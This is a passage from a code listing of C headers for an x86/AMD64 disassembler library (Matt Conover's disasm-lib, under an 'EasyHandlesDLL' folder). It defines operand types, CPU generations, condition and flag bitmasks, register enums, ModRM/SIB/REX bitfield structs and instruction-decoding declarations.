+#define OPTYPE_xFLAGS 0x21 // RFLAGS/EFLAGS (depending on operand size)
+#define OPTYPE_xCX_HI_xBX_LO 0x22 // represented by 2 registers CX:BX or ECX:EBX (depending on operand size)
+#define OPTYPE_xDX_HI_xAX_LO 0x23 // DX:AX or EDX:EAX (depending on operand size)
+#define OPTYPE_EDX_HI_EAX_LO 0x24 // DX:AX or EDX:EAX (depending on operand size)
+#define OPTYPE_EDX_ECX_EBX_EAX 0x25 // all registers are set
+//...
+#define OPTYPE_STx 0x30
+#define OPTYPE_ST0 0x31
+#define OPTYPE_ST1 0x32
+#define OPTYPE_FPU_STATUS 0x33
+#define OPTYPE_FPU_CONTROL 0x34
+#define OPTYPE_FPU_TAG 0x35
+#define OPTYPE_FLDZ 0x36 // 0
+#define OPTYPE_FLD1 0x37 // 1
+#define OPTYPE_FLDPI 0x38 // pi
+#define OPTYPE_FLDL2T 0x39 // lg 10
+#define OPTYPE_FLDL2E 0x3A // lg e
+#define OPTYPE_FLDLG2 0x3B // log_10 2
+#define OPTYPE_FLDLN2 0x3C // log_e 2
+//...
+#define OPTYPE_CS_MSR 0x40
+#define OPTYPE_EIP_MSR 0x41
+#define OPTYPE_ESP_MSR 0x42
+#define OPTYPE_KERNELBASE_MSR 0x43
+#define OPTYPE_FMASK_MSR 0x44
+#define OPTYPE_STAR_MSR 0x45
+#define OPTYPE_CSTAR_MSR 0x46 // 32-bit mode
+#define OPTYPE_LSTAR_MSR 0x47 // 64-bit mode
+
+
+// NOTE: OPTYPES >= 0x80 reserved for registers (OP_REG+XX)
+#define OPTYPE_REG_AL OP_REG+0x01
+#define OPTYPE_REG_CL OP_REG+0x02
+#define OPTYPE_REG_AH OP_REG+0x03
+#define OPTYPE_REG_AX OP_REG+0x04
+#define OPTYPE_REG_DX OP_REG+0x05
+#define OPTYPE_REG_ECX OP_REG+0x06
+#define OPTYPE_REG8 OP_REG+0x07
+
+// If address size is 2, use BP
+// If address size is 4, use EBP
+// If address size is 8, use RBP
+#define OPTYPE_REG_xBP OP_REG+0x08
+
+// If address size is 2, use BP
+// If address size is 4, use EBP
+// If address size is 8, use RBP
+#define OPTYPE_REG_xSP OP_REG+0x09
+
+// If operand size is 2, take 8-bit register
+// If operand size is 4, take 16-bit register
+// If operand size is 8, take 32-bit register
+#define OPTYPE_REG_xAX_SMALL OP_REG+0x0a
+
+// If operand size is 2, take 16-bit register
+// If operand size is 4, take 32-bit register
+// If operand size is 8, take 64-bit register
+#define OPTYPE_REG_xAX_BIG OP_REG+0x0b
+
+typedef enum _CPU_TYPE
+{
+ CPU_UNKNOWN=0,
+
+ ///////////////////////////////////////
+ // 1st generation
+ ///////////////////////////////////////
+ // 1978
+ //CPU_8086 = 1MB address limit, 16-bit registers
+ // 1982
+ //CPU_i186
+
+ ///////////////////////////////////////
+ // 2nd generation
+ ///////////////////////////////////////
+ // 1982
+ //CPU_I286 // 16MB limit, 16-bit registers, added protected mode
+ CPU_I287, // CPU_I286 + math coprocessor
+
+ ///////////////////////////////////////
+ // 3rd generation
+ ///////////////////////////////////////
+ // 1985
+ CPU_I386, // 32-bit registers, 4GB memory limit
+ // 1988
+ CPU_I387, // CPU_I386 + math coprocessor
+
+ ///////////////////////////////////////
+ // 4th generation (1989)
+ ///////////////////////////////////////
+ CPU_I486,
+
+ ///////////////////////////////////////
+ // 5th generation
+ ///////////////////////////////////////
+ // 1993
+ CPU_PENTIUM, // superscalar architecture
+ // 1997
+ //CPU_PENTIUM_MMX
+
+ ///////////////////////////////////////
+ // 6th generation (1995)
+ ///////////////////////////////////////
+ CPU_PENTIUM_PRO, // P6 architecture, no MMX, out-of-order execution, speculative execution
+ //CPU_CYRIX_6X86,
+ //CPU_AMD_K5 // RISC processor
+ // 1997
+ CPU_PENTIUM2, // Pentium Pro architecture + MMX
+ //CPU_AMD_K6,
+ //CPU_CYRIX_6X86MX, // Cyrix 6x86 + MMX
+ // 1998
+ CPU_AMD_K6_2, // added 3DNow! (MMX)
+ // 1999
+ // CPU_AMD_K6_3 // added SSE
+
+ ///////////////////////////////////////
+ // 7th generation
+ ///////////////////////////////////////
+ // 1999
+ CPU_PENTIUM3, // introduced SSE
+ // CPU_AMD_K7 // aka Athlon
+ // 2000
+ CPU_PENTIUM4, // introduced SSE2 and hyperthreading
+
+ // 2004? 2005?
+ CPU_PRESCOTT, // introduced SSE3
+
+ ///////////////////////////////////////
+ // 8th generation (X86-64)
+ // IA32 instruction set with 64-bit extensions, >4GB RAM
+ ///////////////////////////////////////
+
+ // 2003
+ CPU_AMD64, // includes Athlon 64 and Opteron aka X86-64
+
+ // 2004?
+ //CPU_EMD64 // Intel's version of AMD64
+ CPU_IA64 // aka Itanium: new instruction set -- adds JMPE to IA32 mode to return to IA64 native code
+
+} CPU_TYPE;
+
+//////////////////////////////////////////////////////////////////
+// Conditions (these can be OR'd)
+//////////////////////////////////////////////////////////////////
+
+// Used for Flags.Preconditions
+#define COND_O (1<<0) // overflow (signed)
+#define COND_C (1<<1) // below (unsigned)
+#define COND_Z (1<<2) // equal (unsigned)
+#define COND_S (1<<3) // sign set (signed)
+#define COND_P (1<<4) // parity even
+#define COND_BE (1<<5) // CF or ZF is set (unsigned)
+#define COND_L (1<<6) // (SF && !OF) || (OF && !SF)
+#define COND_LE (1<<7) // ZF || (SF && !OF) || (OF && !SF) (signed)
+#define COND_NO (1<<8) // !O
+#define COND_NC (1<<9) // !C (not below, above or equal to)
+#define COND_NZ (1<<10) // !Z (not equal)
+#define COND_NS (1<<11) // !S
+#define COND_NP (1<<12) // !P (parity odd)
+#define COND_NL (1<<13) // (!SF && !OF) || (SF && OF)
+#define COND_G (1<<14) // !ZF && ((!SF && !OF) || (SF && OF))
+#define COND_D (1<<15) // DF
+#define COND_REG_xCX_BIG_Z (1<<16) // CX/ECX/RCX (depending on address size) == 0
+#define COND_REG_xCX_BIG_NZ (1<<17) // CX/ECX/RCX (depending on address size) != 0
+#define COND_OP1_EQ_OP2 (1<<18)
+#define COND_OP1_EQ_OP3 (1<<19)
+#define COND_B COND_C
+#define COND_NAE COND_C
+#define COND_E COND_Z
+#define COND_NA COND_BE
+#define COND_PE COND_P
+#define COND_U COND_P
+#define COND_NGE COND_L
+#define COND_NG COND_LE
+#define COND_PO COND_NP
+#define COND_NU COND_NP
+#define COND_NE COND_NZ
+#define COND_NB COND_NC
+#define COND_AE COND_NC
+#define COND_NE COND_NZ
+#define COND_A (COND_NC|COND_NZ)
+#define COND_NBE COND_A
+#define COND_GE COND_NL
+#define COND_NLE COND_G
+
+// Used for Opcode.FlagsChanged
+#define FLAG_CF_SET (1<<0)
+#define FLAG_DF_SET (1<<1)
+#define FLAG_IF_SET (1<<2)
+#define FLAG_SET_MASK (FLAG_CF_SET|FLAG_DF_SET|FLAG_IF_SET)
+
+#define FLAG_SF_CLR (1<<3)
+#define FLAG_ZF_CLR (1<<4)
+#define FLAG_AF_CLR (1<<5)
+#define FLAG_CF_CLR (1<<6)
+#define FLAG_DF_CLR (1<<7)
+#define FLAG_IF_CLR (1<<8)
+#define FLAG_OF_CLR (1<<9)
+#define FPU_C0_CLR (1<<19)
+#define FPU_C1_CLR (1<<20)
+#define FPU_C2_CLR (1<<21)
+#define FPU_C3_CLR (1<<22)
+#define FPU_ALL_CLR (FPU_C0_CLR|FPU_C1_CLR|FPU_C2_CLR|FPU_C3_CLR)
+#define FLAG_CLR_MASK (FLAG_SF_CLR|FLAG_ZF_CLR|FLAG_AF_CLR|FLAG_CF_CLR|FLAG_DF_CLR|FLAG_IF_CLR|FLAG_OF_CLR|FPU_ALL_CLR)
+
+#define FLAG_OF_MOD (1<<10)
+#define FLAG_SF_MOD (1<<11)
+#define FLAG_ZF_MOD (1<<12)
+#define FLAG_AF_MOD (1<<13)
+#define FLAG_PF_MOD (1<<14)
+#define FLAG_CF_MOD (1<<15)
+#define FLAG_DF_MOD (1<<16)
+#define FLAG_IF_MOD (1<<17)
+#define FLAG_ALL_MOD (FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD|FLAG_CF_MOD|FLAG_DF_MOD|FLAG_IF_MOD)
+#define FLAG_COMMON_MOD (FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD|FLAG_CF_MOD)
+#define FPU_C0_MOD (1<<23)
+#define FPU_C1_MOD (1<<24)
+#define FPU_C2_MOD (1<<25)
+#define FPU_C3_MOD (1<<26)
+#define FPU_ALL_MOD (FPU_C0_MOD|FPU_C1_MOD|FPU_C2_MOD|FPU_C3_MOD)
+#define FLAG_MOD_MASK (FLAG_ALL_MOD|FPU_ALL_MOD)
+
+#define FLAG_CF_TOG (1<<18)
+#define FLAG_TOG_MASK FLAG_CF_TOG
+
+// Used for Opcode.ResultsIfTrue and Opcode.ResultsIfFalse
+#define OP1_DST (1<<0)
+#define OP2_DST (1<<1)
+#define OP3_DST (1<<2)
+#define OP1_SRC (1<<3)
+#define OP2_SRC (1<<4)
+#define OP3_SRC (1<<5)
+#define FPU_STACK_INC (1<<6)
+#define FPU_STACK_INC2 (1<<7)
+#define FPU_STACK_DEC (1<<8)
+#define SERIALIZE_WRITE (1<<9)
+#define SERIALIZE_READ (1<<10)
+#define xCX_DEC (1<<11)
+#define xCX_REP_DEC (1<<12)
+#define xDI_DEC (1<<13)
+#define xDI_INC (1<<14)
+#define xSI_DEC (1<<15)
+#define xSI_INC (1<<16)
+#define xDI_DECx (1<<17)
+#define xDI_INCx (1<<18)
+#define xSI_DECx (1<<19)
+#define xSI_INCx (1<<20)
+#define FPU_STACK_PUSH FPU_STACK_DEC
+#define FPU_STACK_POP FPU_STACK_INC
+#define FPU_STACK_POP2 FPU_STACK_INC2
+#define SERIALIZE_ALL (SERIALIZE_WRITE|SERIALIZE_READ)
+
+#define X86_SEGMENT_OFFSET 0x00
+#define X86_TEST_OFFSET 0x10
+#define X86_CONTROL_OFFSET 0x20
+#define X86_DEBUG_OFFSET 0x30
+#define X86_FPU_OFFSET 0x40
+#define X86_MMX_OFFSET 0x50
+#define X86_XMM_OFFSET 0x60
+#define X86_8BIT_OFFSET 0x70
+#define X86_16BIT_OFFSET 0x80
+#define X86_32BIT_OFFSET 0x90
+#define AMD64_8BIT_OFFSET 0xA0
+#define AMD64_16BIT_OFFSET 0xB0
+#define AMD64_32BIT_OFFSET 0xC0
+#define AMD64_64BIT_OFFSET 0xD0
+
+typedef enum _X86_REGISTER
+{
+ // Segments
+ X86_SEG_ES = X86_SEGMENT_OFFSET,
+ X86_SEG_CS,
+ X86_SEG_SS,
+ X86_SEG_DS,
+ X86_SEG_FS,
+ X86_SEG_GS,
+
+ // Miscellaneous
+ X86_REG_FLAGS,
+ X86_REG_EFLAGS,
+ AMD64_REG_RFLAGS,
+ X86_REG_IP,
+ X86_REG_EIP,
+ AMD64_REG_RIP,
+
+ // Test registers
+ X86_REG_TR0 = X86_TEST_OFFSET,
+ X86_REG_TR1,
+ X86_REG_TR2,
+ X86_REG_TR3,
+ X86_REG_TR4,
+ X86_REG_TR5,
+ X86_REG_TR6,
+ X86_REG_TR7,
+ X86_REG_TR8,
+ X86_REG_TR9,
+ X86_REG_TR10,
+ X86_REG_TR11,
+ X86_REG_TR12,
+ X86_REG_TR13,
+ X86_REG_TR14,
+ X86_REG_TR15,
+
+ // Control registers
+ X86_REG_CR0=X86_CONTROL_OFFSET,
+ X86_REG_CR1,
+ X86_REG_CR2,
+ X86_REG_CR3,
+ X86_REG_CR4,
+ X86_REG_CR5,
+ X86_REG_CR6,
+ X86_REG_CR7,
+ X86_REG_CR8,
+ X86_REG_CR9,
+ X86_REG_CR10,
+ X86_REG_CR11,
+ X86_REG_CR12,
+ X86_REG_CR13,
+ X86_REG_CR14,
+ X86_REG_CR15,
+
+ // Debug registers
+ X86_REG_DR0=X86_DEBUG_OFFSET,
+ X86_REG_DR1,
+ X86_REG_DR2,
+ X86_REG_DR3,
+ X86_REG_DR4,
+ X86_REG_DR5,
+ X86_REG_DR6,
+ X86_REG_DR7,
+ X86_REG_DR8,
+ X86_REG_DR9,
+ X86_REG_DR10,
+ X86_REG_DR11,
+ X86_REG_DR12,
+ X86_REG_DR13,
+ X86_REG_DR14,
+ X86_REG_DR15,
+
+ // FPU registers
+ X86_REG_ST0=X86_FPU_OFFSET,
+ X86_REG_ST1,
+ X86_REG_ST2,
+ X86_REG_ST3,
+ X86_REG_ST4,
+ X86_REG_ST5,
+ X86_REG_ST6,
+ X86_REG_ST7,
+
+ // MMX registers
+ X86_REG_MM0=X86_MMX_OFFSET,
+ X86_REG_MM1,
+ X86_REG_MM2,
+ X86_REG_MM3,
+ X86_REG_MM4,
+ X86_REG_MM5,
+ X86_REG_MM6,
+ X86_REG_MM7,
+
+ // XMM registers
+ X86_REG_XMM0=X86_XMM_OFFSET,
+ X86_REG_XMM1,
+ X86_REG_XMM2,
+ X86_REG_XMM3,
+ X86_REG_XMM4,
+ X86_REG_XMM5,
+ X86_REG_XMM6,
+ X86_REG_XMM7,
+
+ // 8-bit registers
+ X86_REG_AL=X86_8BIT_OFFSET,
+ X86_REG_CL,
+ X86_REG_DL,
+ X86_REG_BL,
+ X86_REG_AH,
+ X86_REG_CH,
+ X86_REG_DH,
+ X86_REG_BH,
+
+ // 16-bit registers
+ X86_REG_AX=X86_16BIT_OFFSET,
+ X86_REG_CX,
+ X86_REG_DX,
+ X86_REG_BX,
+ X86_REG_SP,
+ X86_REG_BP,
+ X86_REG_SI,
+ X86_REG_DI,
+
+ // 32-bit registers
+ X86_REG_EAX=X86_32BIT_OFFSET,
+ X86_REG_ECX,
+ X86_REG_EDX,
+ X86_REG_EBX,
+ X86_REG_ESP,
+ X86_REG_EBP,
+ X86_REG_ESI,
+ X86_REG_EDI,
+
+ // AMD64 8-bit registers
+ AMD64_REG_AL=AMD64_8BIT_OFFSET,
+ AMD64_REG_CL,
+ AMD64_REG_DL,
+ AMD64_REG_BL,
+ AMD64_REG_SPL,
+ AMD64_REG_BPL,
+ AMD64_REG_SIL,
+ AMD64_REG_DIL,
+ AMD64_REG_R8B,
+ AMD64_REG_R9B,
+ AMD64_REG_R10B,
+ AMD64_REG_R11B,
+ AMD64_REG_R12B,
+ AMD64_REG_R13B,
+ AMD64_REG_R14B,
+ AMD64_REG_R15B,
+
+ // AMD64 16-bit registers
+ AMD64_REG_AX=AMD64_16BIT_OFFSET,
+ AMD64_REG_CX,
+ AMD64_REG_DX,
+ AMD64_REG_BX,
+ AMD64_REG_SP,
+ AMD64_REG_BP,
+ AMD64_REG_SI,
+ AMD64_REG_DI,
+ AMD64_REG_R8W,
+ AMD64_REG_R9W,
+ AMD64_REG_R10W,
+ AMD64_REG_R11W,
+ AMD64_REG_R12W,
+ AMD64_REG_R13W,
+ AMD64_REG_R14W,
+ AMD64_REG_R15W,
+
+ // AMD64 32-bit registers
+ AMD64_REG_EAX=AMD64_32BIT_OFFSET,
+ AMD64_REG_ECX,
+ AMD64_REG_EDX,
+ AMD64_REG_EBX,
+ AMD64_REG_ESP,
+ AMD64_REG_EBP,
+ AMD64_REG_ESI,
+ AMD64_REG_EDI,
+ AMD64_REG_R8D,
+ AMD64_REG_R9D,
+ AMD64_REG_R10D,
+ AMD64_REG_R11D,
+ AMD64_REG_R12D,
+ AMD64_REG_R13D,
+ AMD64_REG_R14D,
+ AMD64_REG_R15D,
+
+ // AMD64 64-bit registers
+ AMD64_REG_RAX=AMD64_64BIT_OFFSET,
+ AMD64_REG_RCX,
+ AMD64_REG_RDX,
+ AMD64_REG_RBX,
+ AMD64_REG_RSP,
+ AMD64_REG_RBP,
+ AMD64_REG_RSI,
+ AMD64_REG_RDI,
+ AMD64_REG_R8,
+ AMD64_REG_R9,
+ AMD64_REG_R10,
+ AMD64_REG_R11,
+ AMD64_REG_R12,
+ AMD64_REG_R13,
+ AMD64_REG_R14,
+ AMD64_REG_R15
+} X86_REGISTER;
+
+typedef enum _X86_TEST_REGISTER
+{
+ REG_TR0=0,
+ REG_TR1,
+ REG_TR2,
+ REG_TR3,
+ REG_TR4,
+ REG_TR5,
+ REG_TR6,
+ REG_TR7,
+ REG_TR8,
+ REG_TR9,
+ REG_TR10,
+ REG_TR11,
+ REG_TR12,
+ REG_TR13,
+ REG_TR14,
+ REG_TR15
+} X86_TEST_REGISTER;
+
+typedef enum _X86_CONTROL_REGISTER
+{
+ REG_CR0,
+ REG_CR1,
+ REG_CR2,
+ REG_CR3,
+ REG_CR4,
+ REG_CR5,
+ REG_CR6,
+ REG_CR7,
+ REG_CR8,
+ REG_CR9,
+ REG_CR10,
+ REG_CR11,
+ REG_CR12,
+ REG_CR13,
+ REG_CR14,
+ REG_CR15
+} X86_CONTROL_REGISTER;
+
+typedef enum _X86_DEBUG_REGISTER
+{
+ REG_DR0,
+ REG_DR1,
+ REG_DR2,
+ REG_DR3,
+ REG_DR4,
+ REG_DR5,
+ REG_DR6,
+ REG_DR7,
+ REG_DR8,
+ REG_DR9,
+ REG_DR10,
+ REG_DR11,
+ REG_DR12,
+ REG_DR13,
+ REG_DR14,
+ REG_DR15
+} X86_DEBUG_REGISTER;
+
+typedef enum _X86_MMX_REGISTER
+{
+ REG_MM0=0,
+ REG_MM1=1,
+ REG_MM2=2,
+ REG_MM3=3,
+ REG_MM4=4,
+ REG_MM5=5,
+ REG_MM6=6,
+ REG_MM7=7
+} X86_MMX_REGISTER;
+
+typedef enum _X86_SSE_REGISTER
+{
+ REG_XMM0=0,
+ REG_XMM1=1,
+ REG_XMM2=2,
+ REG_XMM3=3,
+ REG_XMM4=4,
+ REG_XMM5=5,
+ REG_XMM6=6,
+ REG_XMM7=7
+} X86_SSE_REGISTER;
+
+typedef enum _X86_FPU_REGISTER
+{
+ REG_ST0=0,
+ REG_ST1=1,
+ REG_ST2=2,
+ REG_ST3=3,
+ REG_ST4=4,
+ REG_ST5=5,
+ REG_ST6=6,
+ REG_ST7=7
+} X86_FPU_REGISTER;
+
+typedef enum _X86_8BIT_REGISTER
+{
+ REG_AL = 0,
+ REG_CL = 1,
+ REG_DL = 2,
+ REG_BL = 3,
+ REG_AH = 4,
+ REG_CH = 5,
+ REG_DH = 6,
+ REG_BH = 7
+} X86_8BIT_REGISTER;
+
+typedef enum _X86_16BIT_REGISTER
+{
+ REG_AX = 0,
+ REG_CX = 1,
+ REG_DX = 2,
+ REG_BX = 3,
+ REG_SP = 4,
+ REG_BP = 5,
+ REG_SI = 6,
+ REG_DI = 7
+} X86_16BIT_REGISTER;
+
+typedef enum _X86_32BIT_REGISTER
+{
+ REG_EAX = 0,
+ REG_ECX = 1,
+ REG_EDX = 2,
+ REG_EBX = 3,
+ REG_ESP = 4,
+ REG_EBP = 5,
+ REG_ESI = 6,
+ REG_EDI = 7
+} X86_32BIT_REGISTER;
+
+typedef enum _X86_SEGMENT
+{
+ SEG_ES = 0,
+ SEG_CS = 1,
+ SEG_SS = 2,
+ SEG_DS = 3,
+ SEG_FS = 4,
+ SEG_GS = 5,
+ SEG_MAX = 6
+} X86_SEGMENT;
+
+extern char *X86_Registers[];
+
+#pragma pack(push,1)
+typedef struct _MODRM
+{
+ U8 mod : 2;
+ U8 reg : 3;
+ U8 rm : 3;
+} MODRM;
+typedef struct _SIB
+{
+ U8 scale : 2;
+ U8 index : 3;
+ U8 base : 3;
+} SIB;
+typedef struct _REX
+{
+ U8 unused : 4; // bits 4,5,6,7
+ U8 w : 1; // bit 3
+ U8 r : 1; // bit 2
+ U8 x : 1; // bit 1
+ U8 b : 1; // bit 0
+} REX;
+typedef struct _REX_MODRM
+{
+ U8 reg : 4;
+ U8 rm : 4;
+} REX_MODRM;
+typedef struct _REX_SIB
+{
+ U8 index : 4;
+ U8 base : 4;
+} REX_SIB;
+#pragma pack(pop)
+
+//
+// Properties:
+// If an operand is OP_COND_EXEC, it means that it is executed only if the pre-conditions are met.
+//
+// If if an instruction has one or more OP_COND_DST operands, then the actions are determined by
+// whether the Opcode.Preconditions are met or not. If all the COND_* flags in Opcode.Preconditions
+// are true, then the results are determined by ResultsIfTrue. If the preconditions are not met, then
+// the results are determined by ResultsIfFalse.
+//
+// If Preconditions == NOCOND, then results in ResultsIfTrue are unconditional and ResultsIfFalse
+// is ignored
+//
+typedef struct _X86_OPCODE
+{
+ struct _X86_OPCODE *Table;
+ CPU_TYPE CPU; // minimum CPU (starting with i386)
+ U32 MnemonicFlags;
+ char Mnemonic[X86_MAX_INSTRUCTION_LEN+1];
+ U32 OperandFlags[X86_MAX_OPERANDS];
+ U32 Preconditions;
+ U32 FlagsChanged; // changes in flags
+ U32 ResultsIfTrue; // results if Preconditions are met
+ U32 ResultsIfFalse; // results if Preconditions are not met
+} X86_OPCODE;
+
+typedef struct _X86_INSTRUCTION
+{
+ struct _INSTRUCTION *Instruction; // the generic instruction format representing this instruction
+
+ X86_OPCODE Opcode;
+
+ U8 sib_b;
+ U8 modrm_b;
+ MODRM modrm;
+ SIB sib;
+ U8 rex_b;
+ REX rex;
+ REX_MODRM rex_modrm;
+ REX_SIB rex_sib;
+
+ X86_SEGMENT DstSegment;
+ union
+ {
+ X86_SEGMENT Segment;
+ DWORD Selector;
+ };
+
+ // NOTE: these are for internal use, use Instruction->Operands[]
+ //
+ // If DstRegAddressing or SrcRegAddressing = TRUE then BaseRegister is the base register
+ // It is the operand represented by SIBOperand
+ //
+ // The operand indices of the destination operands is in DstOpIndex[0 to DstOpCount-1]
+ // The operand indices of the source operands is in SrcOpIndex[0 to SrcOpCount-1]
+ //
+ // These are used both for instructions like xadd/xchg (where both operands are source/destination)
+ // and to represent implicit registers (e.g., cmpxchg)
+
+ U8 SrcOpIndex[3];
+ U8 DstOpIndex[3];
+
+ // Addressing mode:
+ // If DstRegAddressing = TRUE, then these apply to DstReg
+ // If SrcRegAddressing = TRUE, then this applies to SrcReg[AddressIndex]
+ // If both are false, then SrcReg and DstReg are not addresses
+ X86_REGISTER BaseRegister;
+ X86_REGISTER IndexRegister;
+
+ U8 Scale;
+ U8 HasDefault64Operand : 1;
+ U8 HasOperandSizePrefix : 1;
+ U8 HasAddressSizePrefix : 1;
+ U8 HasSegmentOverridePrefix : 1;
+ U8 HasLockPrefix : 1;
+ U8 HasRepeatWhileEqualPrefix : 1;
+ U8 HasRepeatWhileNotEqualPrefix : 1;
+ U8 HasBranchTakenPrefix : 1;
+ U8 HasBranchNotTakenPrefix : 1;
+ U8 HasDstAddressing : 1;
+ U8 HasSrcAddressing : 1;
+ U8 HasModRM : 1;
+ U8 HasBaseRegister : 1;
+ U8 HasIndexRegister : 1;
+ U8 HasFullDisplacement : 1;
+ U8 HasDstSegment : 1; // used for ins/cmps/scas/movs/etc which have 2 segments
+ U8 DstAddressIndex : 2; // DstOpIndex[DstAddressIndex]
+ U8 SrcAddressIndex : 2; // SrcOpIndex[SrcAddressIndex]
+ U8 DstOpCount : 2;
+ U8 SrcOpCount : 2;
+ U8 OperandSize : 4;
+ U8 AddressSize : 4;
+ U8 Relative : 1;
+ U8 HasSelector : 1; // segment is actually a selector
+ U8 Group : 5;
+
+ S64 Displacement;
+
+} X86_INSTRUCTION;
+
+////////////////////////////////////////////////////////////////////////////////////
+// Exported functions
+////////////////////////////////////////////////////////////////////////////////////
+
+extern ARCHITECTURE_FORMAT_FUNCTIONS X86;
+
+// Instruction setup
+BOOL X86_InitInstruction(struct _INSTRUCTION *Instruction);
+void X86_CloseInstruction(struct _INSTRUCTION *Instruction);
+
+// Instruction translator
+BOOL X86_TranslateInstruction(struct _INSTRUCTION *Instruction, BOOL Verbose);
+
+// Instruction decoder
+BOOL X86_GetInstruction(struct _INSTRUCTION *Instruction, U8 *Address, DWORD Flags);
+
+// Function finding
+U8 *X86_FindFunctionByPrologue(struct _INSTRUCTION *Instruction, U8 *StartAddress, U8 *EndAddress, DWORD Flags);
+
+#ifdef __cplusplus
+}
+#endif
+#endif // X86_DISASM_H
+
+
+```
+
+`EasyHandlesDLL/disasm-lib/disasm_x86_tables.h`:
+
+```h
+// Copyright (C) 2004, Matt Conover (mconover@gmail.com)
+//
+// The opcode tables in this file are based off the Intel Instruction Set Reference
+// and an assortment of disassemblers, primarily libdisasm (by mammon)
+
+#ifndef DISASM_X86_TABLES
+#define DISASM_X86_TABLES
+
+#define X86_GET_REG(val) ((val) & 7)
+#define X86_GET_REG64(val) ((GET_REX_B(X86Instruction->rex_b) << 3) | ((val) & 7))
+
+#define GET_MODRM_MOD(a) (((a) >> 6) & 3) // bits 6, 7
+#define GET_MODRM_REG(a) (((a) >> 3) & 7) // bits 3, 4, 5
+#define GET_MODRM_EXT(a) (((a) >> 3) & 7) // bits 3, 4, 5
+#define GET_MODRM_RM(a) ((a) & 7) // bits 0, 1, 2
+
+#define GET_SIB_SCALE(a) (((a) >> 6) & 3) // bits 6, 7
+#define GET_SIB_INDEX(a) (((a) >> 3) & 7) // bits 3, 4, 5
+#define GET_SIB_BASE(a) ((a) & 7) // bits 0, 1, 2
+
+#define REX_PREFIX_START 0x40
+#define REX_PREFIX_END 0x4F
+#define GET_REX_W(r) (((r) & 8) >> 3) // bit 3
+#define GET_REX_R(r) (((r) & 4) >> 2) // bit 2
+#define GET_REX_X(r) (((r) & 2) >> 1) // bit 1
+#define GET_REX_B(r) ((r) & 1) // bit 0
+#define REX_MASK(n) ((n >> 16) & 0x0F) // bits 0-3
+
+// Groupings to make the opcode table more readible
+#define NOARGS { 0, 0, 0 }
+#define NOCOND 0
+#define NOGROUP NULL
+#define NOACTION 0
+#define NOCHANGE 0
+#define IGNORED 0
+#define NOINSTR NOGROUP, CPU_UNKNOWN, 0, "", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED
+#define GROUP CPU_UNKNOWN, 0, "", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED
+#define PREFIX NOGROUP, CPU_UNKNOWN, ITYPE_EXT_PREFIX, "", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED
+#define EXT_FPU CPU_UNKNOWN, ITYPE_EXT_FPU, "", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED
+#define EXT_64 CPU_UNKNOWN, ITYPE_EXT_64, "", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED
+#define EXT_SUFFIX(a, b, c) CPU_UNKNOWN, ITYPE_EXT_SUFFIX, "", { a, b, c }, NOCOND, NOCHANGE, NOACTION, IGNORED
+#define EXT_MODRM CPU_UNKNOWN, ITYPE_EXT_MODRM, "", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED
+
+#define SET_MODRM(modrm, src) \
+{ \
+ (modrm).mod = GET_MODRM_MOD(src); \
+ (modrm).reg = GET_MODRM_REG(src); \
+ (modrm).rm = GET_MODRM_RM(src); \
+}
+
+#define SET_REX_MODRM(rex_modrm, rex, modrm) \
+{ \
+ (rex_modrm).rm = ((rex).b << 3) | (modrm).rm; \
+ (rex_modrm).reg = ((rex).r << 3) | (modrm).reg; \
+}
+
+#define SET_SIB(sib, src) \
+{ \
+ (sib).scale = GET_SIB_SCALE(src); \
+ (sib).index = GET_SIB_INDEX(src); \
+ (sib).base = GET_SIB_BASE(src); \
+}
+
+#define SET_REX_SIB(rex_sib, rex, sib) \
+{ \
+ (rex_sib).index = ((rex).x << 3) | (sib).index; \
+ (rex_sib).base = ((rex).b << 3) | (sib).base; \
+}
+
+#define SET_REX(rex, src) \
+{ \
+ (rex).w = GET_REX_W(src); \
+ (rex).r = GET_REX_R(src); \
+ (rex).x = GET_REX_X(src); \
+ (rex).b = GET_REX_B(src); \
+}
+
+// Addressing modes
+#define AMODE_A 0x00010000
+#define AMODE_C 0x00020000
+#define AMODE_D 0x00030000
+#define AMODE_E 0x00040000
+#define AMODE_G 0x00050000
+#define AMODE_I 0x00060000
+#define AMODE_J 0x00070000
+#define AMODE_M 0x00080000
+#define AMODE_O 0x00090000
+#define AMODE_P 0x000A0000
+#define AMODE_Q 0x000B0000
+#define AMODE_R 0x000C0000
+#define AMODE_S 0x000D0000
+#define AMODE_T 0x000E0000
+#define AMODE_V 0x000F0000
+#define AMODE_W 0x00100000
+#define AMODE_X 0x00110000
+#define AMODE_Y 0x00120000
+#define AMODE_PR 0x00130000
+#define AMODE_VR 0x00140000
+#define AMODE_xlat 0x00150000
+
+// Operand types
+#define OPTYPE_a 0x01000000
+#define OPTYPE_b 0x02000000
+#define OPTYPE_d 0x03000000
+#define OPTYPE_p 0x04000000
+#define OPTYPE_q 0x05000000
+#define OPTYPE_dt 0x06000000
+#define OPTYPE_v 0x07000000
+#define OPTYPE_w 0x08000000
+#define OPTYPE_ps 0x09000000 // packed 128-bit single real
+#define OPTYPE_pd 0x0A000000 // packed 128-bit double real
+#define OPTYPE_pb 0x0B000000 // packed BCD (10 bytes, 18-bit precision)
+#define OPTYPE_ss 0x0C000000 // scalar single real
+#define OPTYPE_sd 0x0D000000 // scalar double real
+#define OPTYPE_se 0x0E000000 // scalar extended real
+#define OPTYPE_fev 0x0F000000 // FPU environment (28 bytes if 32-bit modes, 14 bytes in 16-bit mode)
+#define OPTYPE_fst1 0x10000000 // FPU state (108 bytes in 32-bit modes, 94 bytes in 16-bit real mode)
+#define OPTYPE_fst2 0x11000000 // FPU/MMX/XMM/MXCSR state (512 bytes)
+#define OPTYPE_z 0x12000000
+#define OPTYPE_o 0x13000000
+#define OPTYPE_dq 0x14000000 // OPTYPE_d or OPTYPE_o
+#define OPTYPE_mw 0x15000000 // word if memory, register size otherwise
+#define OPTYPE_sso 0x16000000 // OPTYPE_ss or OPTYPE_o
+#define OPTYPE_sdo 0x17000000 // OPTYPE_ss or OPTYPE_o
+#define OPTYPE_cpu 0x18000000 // pointer to CPU state structure
